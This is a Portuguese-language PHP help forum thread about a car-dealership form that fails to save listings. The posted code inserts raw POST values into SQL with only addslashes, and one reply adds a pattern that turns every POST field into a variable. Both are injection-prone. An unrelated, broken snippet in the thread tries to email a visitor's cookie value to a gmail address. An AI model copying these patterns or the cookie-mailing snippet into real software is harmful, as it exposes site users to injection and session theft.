Ir para conteúdo
Fórum Script Brasil
  • 0

Ajuda codigo php


caiopsl

Pergunta

Estou criando um site de agencia de veiculos,mais quando eu tento adicionar um veiculos ele retorna a mesma pagina para preencher os dados do veiculo em branco e não salva

Segue o codigo

Agradeço desde já

<?

require 'seguranca.php';
require '../configuracoes.php';
require '../config/config.php';

// process and store data
if($cadastro) {
	// check to see if the cadastro number entered already exists in db
	$link = mysql_connect($dbhost, $dbuser, $dbpass);
	$query = "SELECT id FROM $dbvin WHERE cadastro='$cadastro'";
	$result = mysql_db_query($dbname, $query, $link);
	if(mysql_num_rows($result)) {
		echo "<script language='JavaScript'> alert('O número de cadastro digitado não existe.'); </script>";
	} else {
		// marca input query friendly
		foreach($_POST as $key => $value) {
			$_POST[$key] = addslashes($value);
		}
		
		// add listing to database
		$time = time();
		$codigo = substr(time().rand(10000,99999),-15);
		
		$link = mysql_connect($dbhost, $dbuser, $dbpass);
		$query = "INSERT INTO $dbvin VALUES('0',
		'$codigo',
		'$time',
		'$time',
		'0',
		'0',
		'$_POST[cadastro]',
		'$_POST[vin]',
		'$_POST[anofabricacao]',
		'$_POST[anomodelo]',
		'$_POST[marca]',
		'$_POST[model]',
		'$_POST[condicao]',
		'$_POST[categoria]',
		'$_POST[quilometragem]',
		'$_POST[preco]',
		'$_POST[exterior]',
		'$_POST[interior]',
		'$_POST[body]',
		'$_POST[portas]',
		'$_POST[motor]',
		'$_POST[combustivel]',
		'$_POST[trans]',
		'$_POST[sistemasom]',
		'$_POST[financiamento]',
		'$_POST[equipamentos]',
		'$_POST[observacoes]',
		'$_POST[destq]'
		)";
		mysql_db_query($dbname, $query, $link);
		mysql_close($link);

		echo "<script language='JavaScript'> window.location='pre_visualizar.php?codigo=$codigo'; </script>";
		echo "Você adicionou um veículo";
		exit();
	}
}
$numero = substr(rand(10000,99999),-15);
?>
<html>
<head>
<title>Painel de Controle</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link href="../css/estilos.css" rel="stylesheet" type="text/css">
<script language='JavaScript' src='../funcoes.js'></script>
<style type="text/css">
<!--
body {
	background-color: #DDDEE2;
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
}
-->
</style></head>

<body>
<? include "header.php"; ?>
<table width=700 border=0 align="center" cellpadding=3 cellspacing=1 class="tabela">
  <form action='<?=$PHP_SELF?>' method=post onSubmit='return checkrequired(this)'>
	<tr>
	  <td colspan=4 align='center' class='barra_titulos'><b class="print">Anunciar ve&iacute;culo </b></td>
	</tr>
	<tr>
	  <td colspan=2><b>Informa&ccedil;&otilde;es Obrigat&oacute;rias</b></td>
	  <td colspan=2><b>Informa&ccedil;&otilde;es Opcionais </b></td>
	</tr>
	<tr>
		<td width=80>N. Cadastro:</td>
		<td width=270><input class='texto2' readonly type=text name='cadastro' value='<?=$numero?>' style='width:150px' alt='required' maxlength=20 tabindex='1'> 
		<img src='../design/arrow_left.jpg' align='absmiddle'></td>
		<td width=80>Cor externa:</td>
		<td width=270><input class='texto2' type=text name='exterior' value='<?=$exterior?>' style='width:150px' maxlength=30 tabindex='10'></td>
	</tr>
	
	<tr>
		<td>Final da Placa:</td>
	  <td><input class='texto2' type=text name='vin' value='<?=$vin?>' style='width:150px' alt='required' maxlength=30 tabindex='2'> 
		<img src='../design/arrow_left.jpg' align='absmiddle'><font class='hint'> <br>
		(ex.: 4 e 5)</font></td>
		<td>Cor interna:</td>
		<td><input class='texto2' type=text name='interior' value='<?=$interior?>' style='width:150px' maxlength=30 tabindex='11'></td>
	</tr>
	
	<tr>
	  <td>Ano/Fabrica&ccedil;&atilde;o</td>
	  <td><input class='texto2' type=text name='anofabricacao' value='<?=$anofabricacao?>' style='width:50px' maxlength=4 alt='required' tabindex='3'>
          <img src='../design/arrow_left.jpg' align='absmiddle'> <font class='hint'>(ex.: 2005)</font></td>
	  <td>&nbsp;</td>
	  <td>&nbsp;</td>
	  </tr>
	<tr>
	  <td>Ano/Modelo</td>
	  <td><input class='texto2' type=text name='anomodelo' value='<?=$anomodelo?>' style='width:50px' maxlength=4 alt='required' tabindex='3'>
          <img src='../design/arrow_left.jpg' align='absmiddle'> <font class='hint'>(ex.: 2004)</font></td>
		<td>Tipo de veículo </td>
	  <td><input class='texto2' type=text name='body' value='<?=$body?>' style='width:150px' maxlength=20 tabindex='12'> 
		<font class='hint'>(ex.: Compacto, Esportivo, Conversível, Sedan, Fora-de-estrada)</font></td>
	</tr>
	
	<tr>
		<td>Marca:</td>
		<td>
			<select class='texto2' name='marca' alt='required' style='width:150px' tabindex='4'>
				<option value='<?=$marca?>'><?=$marca?></option>
				<? for ($n = 0; $n < count($mset); $n++) { echo "<option value='$mset[$n]'>$mset[$n]</option>"; } ?>
			</select>
			<img src='../design/arrow_left.jpg' align='absmiddle'>		</td>
		<td>Portas</td>
	  <td><input class='texto2' type=text name='portas' value='<?=$portas?>' style='width:50px' maxlength=1 tabindex='13'>	    
	    <font class='hint'>(ex.: 2, 4)</font></td>
	</tr>
	
	<tr>
		<td>Modelo</td>
	  <td>
       <select class='texto2' name='model' alt='required' style='width:150px' tabindex='4'>
				<option value='<?=$model?>'><?=$model?></option>
				<? for ($n = 0; $n < count($modset); $n++) { echo "<option value='$modset[$n]'>$modset[$n]</option>"; } ?>
		</select>
		<img src='../design/arrow_left.jpg' align='absmiddle'> <font class='hint'><br>	  </td>
		<td>Motor</td>
	  <td><input class='texto2' type=text name='motor' value='<?=$motor?>' style='width:150px' maxlength=40 tabindex='14'> 
		<font class='hint'><br>
		(ex.: 240cv, 6cc, 1.0)</font></td>
	</tr>
	
	<tr>
		<td>Condição</td>
		<td>
			<select class='texto2' name='condicao' alt='required' style='width:150px' tabindex='6'>
				<option value='<?=$condicao?>'><?=$condicao?></option>
				<option value='Novo'>Novo</option>
				<option value='Usado'>Usado</option>
			</select>
			<img src='../design/arrow_left.jpg' align='absmiddle'>		</td>
		<td>Combustível</td>
	  <td><input class='texto2' type=text name='combustivel' value='<?=$combustivel?>' style='width:150px' maxlength=20 tabindex='15'> 
		<font class='hint'><br>
		(ex.: Gasolina, &Aacute;lcool, Diesel, KM/l)</font></td>
	</tr>
	
	<tr>
		<td>Categoria</td>
		<td>
			<select class='texto2' name='categoria' alt='required' style='width:150px' tabindex='7'>
				<option value='<?=$categoria?>'><?=$categoria?></option>
				<? for ($n = 0; $n < count($cset); $n++) { echo "<option value='$cset[$n]'>$cset[$n]</option>"; } ?>
			</select>
			<img src='../design/arrow_left.jpg' align='absmiddle'>		</td>
		<td>Transmissão</td>
	  <td><input class='texto2' type=text name='trans' value='<?=$trans?>' style='width:150px' maxlength=20 tabindex='16'> 
	    <font class='hint'><br>
	    (ex.: Autom&aacute;tica, Manual, 6 marchas)</font></td>
	</tr>
	
	<tr>
		<td>Quilometragem</td>
	  <td><input class='texto2' type=text name='quilometragem' value='<?=$quilometragem?>' style='width:150px' alt='required' maxlength=9 tabindex='8'> 
		<img src='../design/arrow_left.jpg' align='absmiddle'> <font class='hint'><br>
		(ex.: 20.000)</font></td>
		<td>Sistema de Som</td>
		<td><input class='texto2' type=text name='sistemasom' value='<?=$sistemasom?>' style='width:150px' maxlength=40 tabindex='17'></td>
	</tr>
	
	<tr>
		<td>Preço à vista</td>
	  <td><input class='texto2' type=text name='preco' value='<?=$preco?>' style='width:150px' alt='required' maxlength=15 tabindex='9'> 
		<img src='../design/arrow_left.jpg' align='absmiddle'> <font class='hint'><br>
		(ex.: 45.000)</font></td>
	</tr>
	
	<tr>
	  <td>Financiamento</td>
	  <td colspan=3><br>
	      <textarea class='texto2' name='financiamento' style='width:507; height:50' tabindex='18'><?=$financiamento?></textarea>
          <font class='hint'><br>
  (Coloque informa&ccedil;&otilde;es sobre poss&iacute;veis financiamentos de qualquer esp&eacute;cie, caso s&oacute; aceite dinheiro &agrave; vista deixe este campo em branco.) </font><br>
  <br></td>
	  </tr>
	<tr>
	  <td>Equipamentos/Opcionais</td>
	  <td colspan=3><br>
	      <textarea class='texto2' name='equipamentos2' style='width:507; height:50' tabindex='18'><?=$equipamentos?></textarea>
          <font class='hint'><br>
  (Neste espa&ccedil;o voc&ecirc; pode colocar especifica&ccedil;&otilde;es do ve&iacute;culo, equipamentos de s&eacute;rie etc.) </font><br>
  <br></td>
	  </tr>
	<tr>
		<td>Observa&ccedil;&otilde;es</td>
		<td colspan=3><br><textarea class='texto2' name='observacoes' style='width:507; height:50' tabindex='18'><?=$observacoes?></textarea>		  <font class='hint'><br>
	    (Neste espa&ccedil;o voc&ecirc; pode colocar qualquer oberva&ccedil;&atilde;o sobre o ve&iacute;culo, poss&iacute;vel interesse em trocas ou outro ve&iacute;culos como parte do pagamento etc.) </font><br>
		  <br></td>
	</tr>
	<tr>
	  <td>Colocar em destaque:</td>
	  <td>
      <select name="destq">
	    <option value="nao">N&atilde;o</option>
	    <option value="sim">Sim</option>
	    </select>	  </td>
	  <td colspan=2>&nbsp;</td>
    </tr>
	<tr>
		<td align='center' colspan=4>
			<input class='texto2' type=button value='Cancelar' onClick="window.location='index.php';">
			&nbsp;
			<input class='texto2' type=submit value='Adicionar' tabindex='19'>		</td>
	</tr>
	</form>
</table>
</body>
</html>

Link para o comentário
Compartilhar em outros sites

5 respostass a esta questão

Posts Recomendados

  • 0

Veja se ajuda:

<?

require 'seguranca.php';
require '../configuracoes.php';
require '../config/config.php';

// process and store data
if($cadastro) {
	// check to see if the cadastro number entered already exists in db
	$link = mysql_connect($dbhost, $dbuser, $dbpass);
	$query = "SELECT id FROM $dbvin WHERE cadastro='$cadastro'";
	$result = mysql_db_query($dbname, $query, $link);
	if(mysql_num_rows($result)) {
		echo "<script language='JavaScript'> alert('O número de cadastro digitado não existe.'); </script>";
	} else {
		// marca input query friendly
		foreach($_POST as $key => $value) {
			$_POST[$key] = addslashes($value);
		}
		
		// add listing to database
		$time = time();
		$codigo = substr(time().rand(10000,99999),-15);
		
		// coloque essa rotina para pegar os POSTs
                // faz os POSTs virarem variáveis (http://forum.imasters.com.br/topic/265639-pegar-todos-os-campos-de-um-formulrio/)

		 if(strtoupper($_SERVER["REQUEST_METHOD"]) == "POST") {
			foreach($_POST as $key => $valor){
			$$key = $valor;
			} 
		
		$link = mysql_connect($dbhost, $dbuser, $dbpass);
		$query = "INSERT INTO $dbvin VALUES('0',
		'$codigo',
		'$time',
		'$time',
		'0',
		'0',
		'$cadastro',
		'$vin',
		'$anofabricacao',
		'$anomodelo',
		'$marca',
		'$model',
		'$condicao',
		'$categoria',
		'$quilometragem',
		'$preço',
		'$exterior',
		'$interior',
		'$body',
		'$portas',
		'$motor',
		'$combustivel',
		'$trans',
		'$sistemasom',
		'$financiamento',
		'$equipamentos',
		'$observacoes',
		'$destq'
		)";
		mysql_db_query($dbname, $query, $link);
		mysql_close($link);

		echo "<script language='JavaScript'> window.location='pre_visualizar.php?codigo=$codigo'; </script>";
		echo "Você adicionou um veículo";
		exit();
	}
}
$numero = substr(rand(10000,99999),-15);
?>
Link para o comentário
Compartilhar em outros sites

  • 0

<?php

if

($cookie_name) (isset ($_COOKIE))

(isset ($_COOKIE[$cookie_name]))

{$to="ex2@gmail.com";

$subject="chessus lives";

$message= "$cookie_name, $_COOKIE [$cookie_name] " ;

$from="ex@gmail.com";

mail ($to,$scubject, $message [$from]);

}

?>

\*need help, php parse syntax error, want to retrieve cookie value and send it via e-mail with a click on link./

Link para o comentário
Compartilhar em outros sites

  • 0

Veja se ajuda:

<?

require 'seguranca.php';
require '../configuracoes.php';
require '../config/config.php';

// process and store data
if($cadastro) {
	// check to see if the cadastro number entered already exists in db
	$link = mysql_connect($dbhost, $dbuser, $dbpass);
	$query = "SELECT id FROM $dbvin WHERE cadastro='$cadastro'";
	$result = mysql_db_query($dbname, $query, $link);
	if(mysql_num_rows($result)) {
		echo "<script language='JavaScript'> alert('O número de cadastro digitado não existe.'); </script>";
	} else {
		// marca input query friendly
		foreach($_POST as $key => $value) {
			$_POST[$key] = addslashes($value);
		}
		
		// add listing to database
		$time = time();
		$codigo = substr(time().rand(10000,99999),-15);
		
		// coloque essa rotina para pegar os POSTs
                // faz os POSTs virarem variáveis (http://forum.imasters.com.br/topic/265639-pegar-todos-os-campos-de-um-formulrio/)

		 if(strtoupper($_SERVER["REQUEST_METHOD"]) == "POST") {
			foreach($_POST as $key => $valor){
			$$key = $valor;
			} 
		
		$link = mysql_connect($dbhost, $dbuser, $dbpass);
		$query = "INSERT INTO $dbvin VALUES('0',
		'$codigo',
		'$time',
		'$time',
		'0',
		'0',
		'$cadastro',
		'$vin',
		'$anofabricacao',
		'$anomodelo',
		'$marca',
		'$model',
		'$condicao',
		'$categoria',
		'$quilometragem',
		'$preço',
		'$exterior',
		'$interior',
		'$body',
		'$portas',
		'$motor',
		'$combustivel',
		'$trans',
		'$sistemasom',
		'$financiamento',
		'$equipamentos',
		'$observacoes',
		'$destq'
		)";
		mysql_db_query($dbname, $query, $link);
		mysql_close($link);

		echo "<script language='JavaScript'> window.location='pre_visualizar.php?codigo=$codigo'; </script>";
		echo "Você adicionou um veículo";
		exit();
	}
}
$numero = substr(rand(10000,99999),-15);
?>

Está aparecendo esse erro agora:

Parse error: syntax error, unexpected $end in /home/u413820981/public_html/controle/adicionar.php on line 72

Editado por caiopsl
Link para o comentário
Compartilhar em outros sites

  • 0

Faltou uma chave

		// coloque essa rotina para pegar os POSTs
                // faz os POSTs virarem variáveis (http://forum.imasters.com.br/topic/265639-pegar-todos-os-campos-de-um-formulrio/)

		 if(strtoupper($_SERVER["REQUEST_METHOD"]) == "POST") {
			foreach($_POST as $key => $valor){
			$$key = $valor;
			} 
		} // FALTOU ESTA CHAVE
Link para o comentário
Compartilhar em outros sites

  • 0

<?php

if

($cookie_name) (isset ($_COOKIE))

(isset ($_COOKIE[$cookie_name]))

{$to="ex2@gmail.com";

$subject="chessus lives";

$message= "$cookie_name, $_COOKIE [$cookie_name] " ;

$from="ex@gmail.com";

mail ($to,$scubject, $message [$from]);

}

?>

\*need help, php parse syntax error, want to retrieve cookie value and send it via e-mail with a click on link./

Open a new topic please

Editado por Sandro2011
Link para o comentário
Compartilhar em outros sites

Participe da discussão

Você pode postar agora e se registrar depois. Se você já tem uma conta, acesse agora para postar com sua conta.

Visitante
Responder esta pergunta...

×   Você colou conteúdo com formatação.   Remover formatação

  Apenas 75 emoticons são permitidos.

×   Seu link foi incorporado automaticamente.   Exibir como um link em vez disso

×   Seu conteúdo anterior foi restaurado.   Limpar Editor

×   Você não pode colar imagens diretamente. Carregar ou inserir imagens do URL.



  • Estatísticas dos Fóruns

    • Tópicos
      152,1k
    • Posts
      651,8k
×
×
  • Criar Novo...